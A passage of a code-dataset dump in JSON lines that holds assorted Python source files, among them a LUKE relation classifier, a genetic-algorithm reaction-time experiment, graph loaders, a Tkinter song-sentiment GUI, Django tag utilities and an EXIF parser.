__init__(self, args, num_labels):\n super(LukeForRelationClassification, self).__init__(args.model_config)\n\n self.args = args\n\n self.num_labels = num_labels\n self.dropout = nn.Dropout(args.model_config.hidden_dropout_prob)\n self.classifier = nn.Linear(args.model_config.hidden_size * 2, num_labels, False)\n\n self.apply(self.init_weights)\n\n def forward(\n self,\n word_ids,\n word_segment_ids,\n word_attention_mask,\n entity_ids,\n entity_position_ids,\n entity_segment_ids,\n entity_attention_mask,\n label=None,\n ):\n encoder_outputs = super(LukeForRelationClassification, self).forward(\n word_ids,\n word_segment_ids,\n word_attention_mask,\n entity_ids,\n entity_position_ids,\n entity_segment_ids,\n entity_attention_mask,\n )\n\n feature_vector = torch.cat([encoder_outputs[1][:, 0, :], encoder_outputs[1][:, 1, :]], dim=1)\n feature_vector = self.dropout(feature_vector)\n\n logits = self.classifier(feature_vector)\n if label is None:\n return logits\n\n return (F.cross_entropy(logits, label),)\n","repo_name":"studio-ousia/luke","sub_path":"examples/legacy/relation_classification/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":666,"dataset":"github-code","pt":"18"} +{"seq_id":"71708678760","text":"import random, math, sys, os, ifnn, time, ga, configparser\n\n# Read experiment configuration\nconfig = configparser.ConfigParser()\nconfig.read(sys.argv[1])\nconfig = config['EXP']\n\nEXT_STIMULI = float(config['EXT_STIMULI'])\nCUE_STIMULI = float(config.get('CUE_STIMULI', EXT_STIMULI))\nTAU = float(config.get('TAU', 10))\nCOST_FACTOR = float(config['COST_FACTOR'])\nMIN_GENE = float(config['MIN_GENE'])\nMAX_GENE = float(config['MAX_GENE'])\nMUTATION_STEP = float(config['MUTATION_STEP'])\nGENERATIONS = int(config['GENERATIONS'])\nSAVE = int(config['SAVE'])\nif GENERATIONS % SAVE != 0:\n sys.stderr.write('Bad number of generations.\\n')\n sys.exit(-1)\nRUNS = int(config['RUNS'])\nNUM_POPS = int(config['NUM_POPS'])\nNUM_INDS = int(config['NUM_INDS'])\nMIGRAR = int(config['MIGRAR'])\nMAX_STAGNATION = int(config['MAX_STAGNATION'])\nNOISE = int(config['NOISE'])\nNOISE_SIGMA = float(config['NOISE_SIGMA'])\nDIR = config['DIR']\nFILENAME = os.path.join(DIR, 'r%03d-g%03d')\n\ndef advance_nn(self, nn, s):\n return nn.advance(s)\n\ndef advance_nn_with_noise(self, nn, s):\n noise = [random.gauss(0, NOISE_SIGMA) for i in range(nn.num_neurons())]\n return nn.advance_with_noise(s, noise)\n\nclass Task:\n # Time parameters\n PRE_TIME = 50\n MIN_CUE_TIME = 100\n MAX_CUE_TIME = None\n MAX_RT = 1000\n \n advance = advance_nn_with_noise if NOISE else advance_nn\n \n @classmethod\n def define_trials(cls, valid, neutral, invalid, catch, reps):\n cls.trials = (\n ('L', 'V'),\n ('R', 'V'),\n ) * valid * reps + (\n ('L', 'I'),\n ('R', 'I'),\n ) * invalid * reps + (\n ('L', 'N'),\n ('R', 'N'),\n ) * neutral * reps + (\n ('C', 'V'),\n ) * round(catch * valid * 2 * reps) + (\n ('C', 'I'),\n ) * round(catch * invalid * 2 * reps) + (\n ('C', 'N'),\n ) * round(catch * neutral * 2 * reps)\n \n def run(self, c, nn):\n results = []\n for params in self.trials:\n nn.reset()\n s = [0] * nn.num_input_neurons()\n for i in range(self.PRE_TIME):\n output = self.advance(nn, s)\n side, vcue = params\n if vcue == 'N':\n cue = [0, CUE_STIMULI, 0]\n elif side == 'L' and vcue == 'V' or side == 'R' and vcue == 'I':\n cue = [CUE_STIMULI, 0, 0]\n else:\n cue = [0, 0, CUE_STIMULI]\n t = -random.randint(self.MIN_CUE_TIME, self.MAX_CUE_TIME)\n rt = None\n s[1:4] = cue\n while t <= self.MAX_RT:\n if t == 0:\n if side == 'L':\n s[0] = EXT_STIMULI\n elif side == 'R':\n s[4] = EXT_STIMULI\n else:\n assert side == 'C'\n assert len(s) == nn.num_input_neurons()\n output = self.advance(nn, s)\n result = self.got_result(output, side)\n if result is not None:\n result['params'] = params\n result['rt'] = t\n results.append(result)\n break\n else:\n t += 1\n else:\n result = {}\n result['params'] = params\n result['rt'] = None\n results.append(result)\n self.set_fitness(c, results)\n @staticmethod\n def get_fitness(rt):\n return 1000 * math.exp(-0.01 * rt)\n @staticmethod\n def print_stats(c):\n # Printing statistics\n \n print(\"%10d\" % c.fitness, end='\\t')\n if c.rt_valid is not None:\n print(\"% 7.2f\" % c.rt_valid, end='\\t')\n else:\n print(\"-------\", end='\\t')\n if c.rt_neutral is not None:\n print(\"% 7.2f\" % c.rt_neutral, end='\\t')\n else:\n print(\"-------\", end='\\t')\n if c.rt_invalid is not None:\n print(\"% 7.2f\" % c.rt_invalid, end='\\t')\n else:\n print(\"-------\", end='\\t')\n print('\\t'.join(['%3d' for i in c.count]) % c.count, end='\\t')\n print()\n\nclass SimpleRTTask(Task):\n def got_result(self, output, side):\n if output[0]:\n return {}\n else:\n return None\n \n def set_fitness(self, c, results):\n c.fitness = 0\n anticipated = 0\n resp = 0\n miss = 0\n catch = 0\n rt_valid = []\n rt_invalid = []\n rt_neutral = []\n for r in results:\n side, vcue = r['params']\n if r['rt'] is not None:\n resp += 1\n if side == 'C': # responded in a catch trial\n pass\n elif r['rt'] <= 0: # anticipated\n anticipated += 1\n else:\n c.fitness += self.get_fitness(r['rt'])\n if vcue == 'V':\n rt_valid.append(r['rt'])\n elif vcue == 'I':\n rt_invalid.append(r['rt'])\n else:\n assert vcue == 'N'\n rt_neutral.append(r['rt'])\n else:\n if side == 'C':\n c.fitness += 1000\n catch += 1\n else:\n miss += 1\n c.rt_valid = median(rt_valid)\n c.rt_invalid = median(rt_invalid)\n c.rt_neutral = median(rt_neutral)\n c.count = (resp, miss, anticipated, catch)\n\nclass ChoiceRTTask(Task):\n def got_result(self, output, side):\n if output[0] and output[1]:\n return {'correct': False}\n elif output[0]:\n return {'correct': (side == 'L')}\n elif output[1]:\n return {'correct': (side == 'R')}\n else:\n return None\n \n def set_fitness(self, c, results):\n c.fitness = 0\n anticipated = 0\n resp = 0\n miss = 0\n wrong = 0\n catch = 0\n rt_valid = []\n rt_invalid = []\n rt_neutral = []\n for r in results:\n side, vcue = r['params']\n if r['rt'] is not None:\n resp += 1\n if side == 'C': # responded in a catch trial\n pass\n elif r['rt'] <= 0: # anticipated\n anticipated += 1\n elif r['correct']:\n c.fitness += self.get_fitness(r['rt'])\n if vcue == 'V':\n rt_valid.append(r['rt'])\n elif vcue == 'I':\n rt_invalid.append(r['rt'])\n else:\n assert vcue == 'N'\n rt_neutral.append(r['rt'])\n else:\n wrong += 1\n else:\n if side == 'C':\n c.fitness += 1000\n catch += 1\n else:\n miss += 1\n c.rt_valid = median(rt_valid)\n c.rt_invalid = median(rt_invalid)\n c.rt_neutral = median(rt_neutral)\n c.count = (resp, miss, anticipated, wrong, catch)\n\ndef avg(l):\n try:\n return sum(l) / float(len(l))\n except:\n return None\n\ndef median(l):\n if len(l) == 0:\n return None\n l.sort()\n if len(l) % 2 == 0:\n return avg((l[len(l) // 2 - 1], l[len(l) // 2]))\n else:\n return l[len(l) // 2]\n\ndef simplert_fitness_function(pop):\n #print(' fitness\\tvalidRT\\tinvldRT\\tneutrRT\\tres\\tmis\\tant\\tcat')\n for c in pop:\n trials = SimpleRTTask()\n trials.run(c, make_network(c))\n #print()\n\ndef choicert_fitness_function(pop):\n #print(' fitness\\tvalidRT\\tneutrRT\\tinvldRT\\tres\\tmis\\tant\\twro\\tcat')\n for c in pop:\n trials = ChoiceRTTask()\n trials.run(c, make_network(c))\n #print()\n \nif config['TYPE'] == 'Simple':\n ga.Population.evaluate_fitness = simplert_fitness_function\n #print('Simple RT task selected.')\n OUTPUT_NEURONS = 1\nelse:\n ga.Population.evaluate_fitness = choicert_fitness_function\n #print('Choice RT task selected.')\n OUTPUT_NEURONS = 2\nga.Run.MAX_STAGNATION = MAX_STAGNATION\n\nINPUT_NEURONS = 5\nHIDDEN_NEURONS = int(config['HIDDEN_NEURONS'])\nNEURONS = INPUT_NEURONS + HIDDEN_NEURONS + OUTPUT_NEURONS\n\nVALID = int(config['VALID'])\nINVALID = int(config['INVALID'])\nNEUTRAL = int(config['NEUTRAL'])\nCATCH = float(config.get('CATCH', 0))\nREPS = int(config['REPS'])\nTask.MAX_CUE_TIME = int(config.get('MAX_CUE_TIME', 200))\n\n# For the simple GA\n\ndef get_list_genes():\n list_genes = []\n for i in range(NEURONS):\n list_genes.append(ga.Gene(MIN_GENE, MAX_GENE, MUTATION_STEP)) # bias\n for i in range(NEURONS * NEURONS): # synapses\n list_genes.append(ga.Gene(MIN_GENE, MAX_GENE, MUTATION_STEP))\n return list_genes\n\ndef make_network(c):\n return ifnn.Network(INPUT_NEURONS, OUTPUT_NEURONS, HIDDEN_NEURONS, c, TAU)\n \ndef friendly_time(t):\n s = []\n if t > 86400:\n s.append('%d day(s)' % (t // 86400))\n t = t % 86400\n if t > 3600:\n s.append('%d hour(s)' % (t // 3600))\n t = t % 3600\n if t > 60:\n s.append('%d minute(s)' % (t // 60))\n t = t % 60\n s.append('%d seconds(s)' % int(t))\n return ' '.join(s)\n \ndef sub_pop(run, i):\n newpop = ga.Population.get_random(NUM_INDS, get_list_genes())\n run[i] = newpop\n\nTask.define_trials(VALID, NEUTRAL, INVALID, CATCH, REPS)\n\nif __name__ == '__main__':\n if not os.path.exists(DIR):\n os.mkdir(DIR)\n for run_number in range(RUNS):\n print(\"Run\", run_number + 1)\n arquivo = FILENAME % (run_number, 0)\n if os.path.exists(arquivo):\n with open(arquivo, 'rb') as f:\n run = ga.Run.load(f)\n else:\n run = ga.Run()\n for i in range(NUM_POPS):\n pop = ga.Population.get_random(NUM_INDS, get_list_genes())\n run.append(pop)\n with open(arquivo, 'wb') as f:\n run.dump(f)\n print(\"Generation 0\")\n while run.g < GENERATIONS:\n new_g = run.g + SAVE\n arquivo = FILENAME % (run_number, new_g)\n if os.path.exists(arquivo):\n with open(arquivo, 'rb') as f:\n run = ga.Run.load(f)\n else:\n run.iterate(SAVE)\n assert run.g == new_g\n if MIGRAR and run.g % MIGRAR == 0:\n run.migrate()\n with open(arquivo, 'wb') as f:\n run.dump(f)\n print(\"Generation %d\" % (run.g))","repo_name":"carolfs/rtexp","sub_path":"rtexp.py","file_name":"rtexp.py","file_ext":"py","file_size_in_byte":10654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26988342560","text":"import networkx as nx\nimport json\n\n\ndef read_graph_from_txt(path):\n node_ids = dict()\n\n graph = nx.MultiDiGraph()\n with open(path) as file:\n node_num = 0\n edge_num = 0\n nodes = dict()\n edges = dict()\n for edge in file:\n a = edge.split(\"\\t\")\n if a[0] not in nodes:\n nodes[a[0]] = node_num\n node_ids[node_num] = a[0]\n node_num += 1\n if a[1] not in nodes:\n nodes[a[1]] = node_num\n node_ids[node_num] = a[1]\n node_num += 1\n if a[2] not in edges:\n edges[a[2]] = edge_num\n edge_num += 1\n graph.add_edge(nodes[a[0]], nodes[a[1]], type=edges[a[2]])\n return graph, node_ids, edges\n\n\ndef read_graph_from_json(path):\n nodes = dict()\n r_n = dict()\n edge_attrs = dict()\n r_e_a = dict()\n counter = 0\n attr_counter = 0\n with open(path, \"r\", encoding=\"ISO-8859-1\") as file:\n data = json.load(file)\n graph = nx.MultiDiGraph()\n network = data[\"graphs\"]\n for n in network[\"nodes\"]:\n if n[\"id\"] not in nodes:\n nodes[n[\"id\"]] = counter\n r_n[counter] = n[\"id\"]\n graph.add_node(counter)\n counter += 1\n for e in network[\"edges\"]:\n if e['pred'] in edge_attrs:\n num = edge_attrs[e['pred']]\n else:\n edge_attrs[e['pred']] = attr_counter\n r_e_a[attr_counter] = e[\"pred\"]\n num = attr_counter\n attr_counter += 1\n if e[\"sub\"] not in nodes:\n nodes[e[\"sub\"]] = counter\n r_n[counter] = e[\"sub\"]\n graph.add_node(counter)\n counter += 1\n if e[\"obj\"] not in nodes:\n nodes[e[\"obj\"]] = counter\n r_n[counter] = e[\"obj\"]\n graph.add_node(counter)\n counter += 1\n graph.add_edge(nodes[e['sub']], nodes[e['obj']], type=num)\n return graph, r_n, r_e_a","repo_name":"smeznar/ontology-completion-with-graph-learners","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"15215971994","text":"import numpy as np\nS = \"Será que hoje vai chover, eu não sei não\"\nS = S.lower()\nS = S.replace(',', '')\nS = S.split()\nV = list(set(S))\nV.sort()\nV = dict(zip(V, range(0, len(V))))\n\nn = len(V)\nM = np.zeros((4,n), dtype=int)\nfor k, w in enumerate(S[0:2] + S[3:5]):\n i = V[w]\n wr = np.zeros(n)\n wr[i] = 1\n M[k] = wr\n\n# V\n# V\n# S\n# list(set(S))\n# list(set(S)).sorted()\n# V = list(set(S))\n# V\n# V.sort()\n# V\n# for w in S[0:2] + S[3:5]:\n# print(V[w])\n# S\n# S[0:2]\n# S[0:2] + S[3:5]\n# V\n# V = dict(zip(V,range(1,len(V))))\n# V\n# V = dict(zip(V,range(1,len(V+1))))\n# V = \"Será que hoje vai chover, eu não sei não\"\n# V = V.lower()\n# V = V.split()\n# S\n# V\n# V = dict(zip(V,range(1,len(V+1))))\n# V\n# V = dict(zip(V,range(1,len(V)+1)))\n# V\n# %history\n","repo_name":"igormorgado/nlp","sub_path":"writes/asd.py","file_name":"asd.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38579956062","text":"#!/usr/bin/env python3\n\nimport tkinter as tk\nimport util.regularexpression as reutil\n\nfrom api.genius import GeniusAPI\nfrom util.themodel import GetSentiment\n\nclass Gui(tk.Tk):\n def __init__(self, apiobject : GeniusAPI) -> None:\n super().__init__()\n\n # assign genius api\n self.genius_api = apiobject\n\n # set window vars\n self.title(\"SSC\")\n self.geometry(\"600x400\")\n self.minsize(600, 400)\n\n # define fonts\n self.header_font = (\"System\", 22, \"bold\")\n self.default_font = (\"System\", 12)\n\n # safe close for model\n self.protocol(\"WM_DELETE_WINDOW\", self.safe_destroy)\n\n # menu frame\n self.menu_frame = tk.Frame(self,\n width = 600,\n height = 400,\n bg = \"lightgrey\"\n )\n\n # menu gui items\n self.title = tk.Label(self.menu_frame,\n text = \"song sentiment comparer\",\n bg = \"lightgrey\",\n fg = \"black\",\n font = self.header_font\n )\n self.search_bar = tk.Entry(self.menu_frame,\n bg = \"white\",\n fg = \"black\",\n width = 52,\n font = self.default_font\n )\n self.recommended_one = tk.Label(self.menu_frame,\n text=\"ween - bananas and blow\",\n bg = \"white\",\n fg = \"black\",\n width = 52,\n anchor = \"w\",\n font = self.default_font\n )\n self.recommended_two = tk.Label(self.menu_frame,\n text=\"talking heads - im not in love\",\n bg = \"white\",\n fg = \"black\",\n width = 52,\n anchor = \"w\",\n font = self.default_font\n )\n self.recommended_thr = tk.Label(self.menu_frame,\n text=\"travis - side\",\n bg = \"white\",\n fg = \"black\",\n width = 52,\n anchor = \"w\",\n font = self.default_font\n )\n self.output_box = tk.Label(self.menu_frame,\n text = \"input a song to find more like it\\npress 'alt' to autocompleate\",\n bg = \"lightgrey\",\n fg = \"black\",\n font = self.default_font\n )\n # assign list for recommended labels\n self.recommended_list = [\n self.recommended_one,\n self.recommended_two,\n self.recommended_thr\n ]\n\n # pack all items\n self.menu_frame.pack(fill=tk.BOTH, expand=1)\n self.title.pack(fill=tk.X, pady=(32, 28))\n self.search_bar.pack(fill=tk.NONE, pady=(2, 0))\n for label in self.recommended_list:\n label.pack(fill=tk.NONE)\n self.output_box.pack(fill=tk.BOTH, pady=(22, 12))\n\n # binds\n self.bind(\"\", lambda event: self.search(event, searchtext=self.search_bar.get()))\n self.bind(\"\", lambda event: self.getsuggested(event, searchtext=self.search_bar.get()))\n # for each recommended, cant do this in a for loop :((\n self.recommended_one.bind(\"\", lambda event: self.search(event, searchtext=self.recommended_one[\"text\"]))\n self.recommended_one.bind(\"\", func=lambda e: self.recommended_one.config(bg=\"grey\"))\n self.recommended_one.bind(\"\", func=lambda e: self.recommended_one.config(bg=\"white\"))\n self.recommended_two.bind(\"\", lambda event: self.search(event, searchtext=self.recommended_two[\"text\"]))\n self.recommended_two.bind(\"\", func=lambda e: self.recommended_two.config(bg=\"grey\"))\n self.recommended_two.bind(\"\", func=lambda e: self.recommended_two.config(bg=\"white\"))\n self.recommended_thr.bind(\"\", lambda event: self.search(event, searchtext=self.recommended_thr[\"text\"]))\n self.recommended_thr.bind(\"\", func=lambda e: self.recommended_thr.config(bg=\"grey\"))\n self.recommended_thr.bind(\"\", func=lambda e: self.recommended_thr.config(bg=\"white\"))\n\n # focus search bar\n self.search_bar.focus()\n\n def getsuggested(self, event = None, searchtext = \"\") -> None:\n # update each recommended label with genius suggestion\n for i, artistsongobj in enumerate(self.genius_api.get_artistsong_obj_from_search(searchtext, size_limit=3)):\n self.recommended_list[i][\"text\"] = f\"{artistsongobj['title']} - {artistsongobj['artist']}\"\n # update tkinter bc it gets confused\n self.update()\n\n def search(self, event = None, searchtext = \"\", trycount = 0) -> None:\n # check try count\n if trycount > 5:\n self.output_box[\"text\"] = \"error finding search from genus\"\n return\n # get artistsongobj from search\n artistsongobj = self.genius_api.get_artistsong_obj_from_search(searchtext)[0]\n # if cannot find any results\n if artistsongobj == []:\n print(\"cannot find any songs\")\n self.output_box[\"text\"] = \"cannot find any songs from search\"\n return None\n # set object var names\n title = artistsongobj[\"title\"]\n artist = artistsongobj[\"artist\"]\n # set searchbar to text\n self.search_bar.delete(0, tk.END)\n self.search_bar.insert(0, f\"{artist} - {title}\")\n # get lyrics\n lyrics = self.genius_api.get_lyrics_from_song(songtitle=title, artistname=artist)\n # retry if timed out\n if lyrics == \"\":\n self.search(event, searchtext, trycount + 1)\n # cleanup, & output as label\n CleanLyrics = reutil.CleanLyrics(lyrics)\n sentiment_txt = GetSentiment(CleanLyrics, True)\n self.output_box[\"text\"] = sentiment_txt\n\n def safe_destroy(self) -> None:\n # check if model is running & stop\n print(\"deading...\")\n self.destroy()\n\nif __name__ == \"__main__\":\n root = Gui()\n root.mainloop()\n\n# https://raw.githubusercontent.com/Dvlv/Tkinter-By-Example/master/Tkinter-By-Example.pdf","repo_name":"TrvsF/song-sentiment-comparer","sub_path":"src/main/gui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":5934,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"6221878887","text":"import json\nfrom copy import deepcopy\nfrom threading import RLock\n\nfrom django.conf import settings\nfrom django.forms import model_to_dict\n\nfrom ..api.modules.meta import MetaApi\nfrom ..exceptions import (\n TagNotExistError,\n TargetNotExistError,\n TargetTypeNotAllowedError,\n)\nfrom ..local import get_request_username\nfrom .models import Tag, TagMapping, TagTarget\n\nallowed_target_info = {}\nlock = RLock()\n\n\ndef find_related_tag(target_type, target_id):\n return TagTarget.objects.filter(target_type=target_type, target_id=target_id)\n\n\ndef init_allowed_target_info():\n global allowed_target_info\n if not allowed_target_info:\n allowed_target_info = {\n v[\"target_type\"]: v[\"table_primary_key\"] for k, v in getattr(settings, \"TAG_RELATED_MODELS\", {}).items()\n }\n for k, v in deepcopy(allowed_target_info).items():\n if isinstance(k, (tuple, list)):\n allowed_target_info.pop(k)\n for per_target_type in k:\n allowed_target_info[per_target_type] = v\n\n\ndef target_validate(target_type, target_id, biz_project_id_dict):\n if not allowed_target_info:\n with lock:\n init_allowed_target_info()\n info = allowed_target_info.get(target_type, None)\n if not info:\n raise TargetTypeNotAllowedError(message_kv={\"type\": target_type})\n\n table_name, primary_key = info.split(\".\")\n sql = \"select * from {} where {}={}\".format(table_name, primary_key, json.dumps(target_id))\n query_result = MetaApi.entity_complex_search({\"statement\": sql, \"backend_type\": \"mysql\"}, raw=True)\n result = query_result[\"result\"]\n message = query_result[\"message\"]\n if not result:\n raise Exception(message)\n data = query_result[\"data\"]\n if data:\n data_dict = data[0]\n if target_type == \"result_table\":\n biz_project_id_dict[target_id] = {\n \"bk_biz_id\": data_dict.get(\"bk_biz_id\"),\n \"project_id\": data_dict[\"project_id\"],\n }\n elif target_type == \"raw_data\":\n biz_project_id_dict[target_id] = {\"bk_biz_id\": data_dict.get(\"bk_biz_id\")}\n return len(data) > 0\n\n\ndef get_inherit_tag(tag_code_list): # 得到标签的继承关系信息\n tag_result = {}\n for tag_code in tag_code_list:\n tag_list = Tag.objects.filter(active=1, code=tag_code).values(\"id\", \"code\", \"parent_id\", \"tag_type\")\n if not tag_list:\n raise TagNotExistError(message_kv={\"code\": tag_code})\n\n while tag_list:\n tag_dict = tag_list[0]\n code = tag_dict[\"code\"]\n tag_type = tag_dict[\"tag_type\"]\n parent_id = tag_dict[\"parent_id\"]\n if tag_code in tag_result:\n tag_result[tag_code].append({\"tag_code\": code, \"tag_type\": tag_type})\n else:\n tag_result[tag_code] = [{\"tag_code\": code, \"tag_type\": tag_type}]\n if parent_id == 0:\n break\n else:\n tag_list = Tag.objects.filter(active=1, id=parent_id).values(\"id\", \"code\", \"parent_id\", \"tag_type\")\n return tag_result\n\n\ndef map_tags(tag_codes):\n tag_code_set = set(tag_codes)\n mapped_codes = TagMapping.objects.filter(code__in=tag_code_set)\n if mapped_codes:\n for item in mapped_codes:\n tag_code_set.remove(item.code)\n tag_code_set.add(item.mapped_code)\n return list(tag_code_set)\n\n\ndef create_tag_to_target(\n targets, tags, target_exists=True, bk_biz_id=None, project_id=None\n): # 例子:[('result_table', 'battle_info')], ['NA']\n if targets and tags:\n tags = map_tags(tags)\n tag_inherit_result = get_inherit_tag(tags)\n username = get_request_username()\n biz_project_id_dict = {}\n for target in targets: # 校验参数合法性\n target_type = target[0]\n target_id = target[1]\n if target_exists: # 说明是给已存在的实体打标签的,若target_type=result_table或者raw_data,则还要拿到实体的bk_biz_id或project_id作为冗余保存\n ret = target_validate(target_type, target_id, biz_project_id_dict)\n if not ret:\n raise TargetNotExistError(message_kv={\"id\": target_id, \"type\": target_type})\n\n for target in targets:\n target_type = target[0]\n target_id = target[1]\n p_bk_biz_id, p_project_id = bk_biz_id, project_id\n if target_exists: # 说明是给已存在的实体打标签\n if target_type == \"result_table\" or target_type == \"raw_data\":\n data_dict = biz_project_id_dict[target_id]\n p_bk_biz_id = data_dict.get(\"bk_biz_id\", None)\n p_project_id = data_dict.get(\"project_id\", None)\n\n for tag in tags:\n inherit_list = tag_inherit_result[tag]\n for tag_dict in inherit_list:\n tag_code = tag_dict[\"tag_code\"]\n tag_type = tag_dict[\"tag_type\"]\n item = {\n \"target_id\": target_id,\n \"target_type\": target_type,\n \"updated_by\": username,\n \"tag_code\": tag_code,\n \"source_tag_code\": tag,\n \"tag_type\": tag_type,\n \"created_by\": username,\n \"bk_biz_id\": p_bk_biz_id,\n \"project_id\": p_project_id,\n }\n TagTarget.objects.create(**item)\n\n\ndef delete_tag_to_target(targets, tags):\n if targets and tags:\n tags = map_tags(tags)\n for target in targets:\n target_type = target[0]\n target_id = target[1]\n for tag in tags:\n TagTarget.objects.filter(target_id=target_id, target_type=target_type, source_tag_code=tag).delete()\n\n\ndef gen_geog_tags_info(tag_code=\"geog_area\", depth=2):\n codes_map = {}\n codes_info = {}\n\n start_tag = Tag.objects.filter(code=tag_code).get()\n codes_map[start_tag.code] = {}\n\n tags_info = [(start_tag, codes_map[start_tag.code])]\n next_tags_info = []\n for i in range(10):\n if not tags_info:\n break\n for tag, storage in tags_info:\n tag_info = model_to_dict(tag)\n if i >= depth:\n codes_info[tag.code] = tag_info\n next_tags = Tag.objects.filter(parent_id=tag.id).all()\n for next_tag in next_tags:\n storage[next_tag.code] = {}\n next_tags_info.append((next_tag, storage[next_tag.code]))\n tags_info = next_tags_info\n next_tags_info = []\n return codes_map, codes_info\n\n\ndef get_default_geog_tag():\n codes_map, codes_info = gen_geog_tags_info()\n if codes_info and isinstance(codes_info, dict):\n return list(codes_info.values())[0]\n return {}\n","repo_name":"Tencent/bk-base","sub_path":"src/api/upizza/common/meta/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":6913,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"7253203293","text":"from django.contrib.auth import get_user_model\nfrom django.core import exceptions, validators\n\nUser = get_user_model()\n\n\ndef is_email_available(email):\n try:\n User.objects.get(email__iexact=email)\n except User.DoesNotExist:\n return True\n return False\n\n\ndef is_email_valid(email):\n email_validator = validators.EmailValidator()\n try:\n email_validator(email)\n except (TypeError, exceptions.ValidationError):\n return False\n return True\n","repo_name":"theyoungastronauts/houston-old","sub_path":"service/project/utils/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32284013823","text":"import glob\n\n\nwholeUsers = {}\nfor csvFile in glob.glob('*.csv'):\n title = csvFile.replace('.csv', '')\n users = {}\n for file in glob.glob(title + '\\\\*.csv'):\n with open(file, 'r', encoding='gbk') as f:\n blogs = f.read().split('\\n')\n for i in range(1, len(blogs)):\n user = blogs[i].split(',')[0]\n if user not in users.keys():\n users.update({user: 0})\n users.update({user: users[user] + 1})\n output_text = ''\n for user in users.keys():\n output_text += user + ',' + str(users[user]) + '\\n'\n with open(title + '_count.csv', 'w', encoding='utf-8') as f:\n f.write(output_text)\n wholeUsers.update(users)\n\noutput_text = ''\nfor user in wholeUsers.keys():\n output_text += user + ',' + str(wholeUsers[user]) + '\\n'\nwith open('wholeCount.csv', 'w', encoding='utf-8') as f:\n f.write(output_text)\n\n'''\ncount = 0\nfor csvFile in glob.glob('*.csv'):\n title = csvFile.replace('.csv', '')\n count += len(glob.glob(title + '\\\\*.csv'))\nprint(count)\n'''","repo_name":"xyb314/weibo_comment_crawler_experiment","sub_path":"dates/用户频率统计.py","file_name":"用户频率统计.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"33753915835","text":"import json\nimport os\n\n\nclass ExifInfo:\n def __init__(self, exif):\n \"\"\"init\"\"\"\n if 'Make' in exif.keys():\n self.make = exif['Make'] # Manufacturer\n else:\n self.make = str()\n if 'Model' in exif.keys():\n self.model = exif['Model'] # Model\n else:\n self.model = str()\n if 'DateTimeOriginal' in exif.keys():\n self.date_time = exif['DateTimeOriginal'] # DateTime\n else:\n self.date_time = str()\n if 'ISOSpeedRatings' in exif.keys():\n self.iso_speed = exif['ISOSpeedRatings'] # ISO Speed\n else:\n self.iso_speed = int()\n if 'ColorSpace' in exif.keys():\n self.color_space = exif['ColorSpace'] # Color Space\n else:\n self.color_space = int()\n if 'GPSInfo' in exif.keys():\n self.gps = exif['GPSInfo'] # GPS Info\n self.lat = float()\n self.lng = float()\n else:\n self.gps = dict()\n self.lat = float()\n self.lng = float()\n if 'Orientation' in exif.keys():\n self.orientation = exif['Orientation'] # Direction of Rotation\n else:\n self.orientation = int()\n if 'FocalLength' in exif.keys():\n self.focal_length = exif['FocalLength'] # Focus Length\n else:\n self.focal_length = tuple()\n if 'Flash' in exif.keys():\n self.flash = exif['Flash'] # Flash\n else:\n self.flash = int()\n\n def cal_gps(self):\n \"\"\"calculate GPS Info\"\"\"\n if self.gps == dict():\n return\n\n lat_data = self.gps[2]\n lng_data = self.gps[4]\n\n \"\"\"Calculate Latitude, Longitude\"\"\"\n lat_deg = lat_data[0][0] / float(lat_data[0][1])\n lat_min = lat_data[1][0] / float(lat_data[1][1])\n lat_sec = lat_data[2][0] / float(lat_data[2][1])\n\n lng_deg = lng_data[0][0] / float(lng_data[0][1])\n lng_min = lng_data[1][0] / float(lng_data[1][1])\n lng_sec = lng_data[2][0] / float(lng_data[2][1])\n\n \"\"\"Set Latitude, Longitude base on N/E/W/S \"\"\"\n self.lat = (lat_deg + (lat_min + lat_sec / 60.00) / 60.00)\n\n if self.gps[1] == 'S':\n self.lat *= -1\n\n self.lng = (lng_deg + (lng_min + lng_sec / 60.00) / 60.00)\n\n if self.gps[3] == 'W':\n self.lng *= -1\n\n def cal_focal(self):\n \"\"\"calculate focal length\"\"\"\n plane_x_size = self.focal_length[0]\n plane_y_size = self.focal_length[1]\n\n self.focal_length = plane_x_size / plane_y_size\n\n def cal_flash(self):\n \"\"\"calculate flash value\"\"\"\n with open(os.getcwd() + '/analy/core/flash_data.json') as json_data:\n flash_values = json.load(json_data)\n\n val = str(self.flash)\n\n if val in flash_values.keys():\n self.flash = flash_values[val]\n\n def cal_orientation(self):\n \"\"\"calculate orientation value\"\"\"\n with open(os.getcwd() + '/analy/core/orientation_data.json') as json_data:\n ott_value = json.load(json_data)\n\n val = str(self.orientation)\n\n if val in ott_value.keys():\n self.orientation = ott_value[val]\n\n def cal_space(self):\n \"\"\"calculate color space value\"\"\"\n with open(os.getcwd() + \"/analy/core/space_data.json\") as json_data:\n cs_data = json.load(json_data)\n\n val = str(self.color_space)\n\n if val in cs_data.keys():\n self.color_space = cs_data[val]\n\n def calculate_all(self):\n self.cal_gps()\n self.cal_focal()\n self.cal_flash()\n self.cal_orientation()\n self.cal_space()\n","repo_name":"tkddnr924/LetsBe","sub_path":"LetsGo/analy/core/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"72196027881","text":"# Captain Rainbox's Color Checklist: https://www.makeschool.com/academy/track/captain-rainbow-s-color-checklist\n\n# Create our 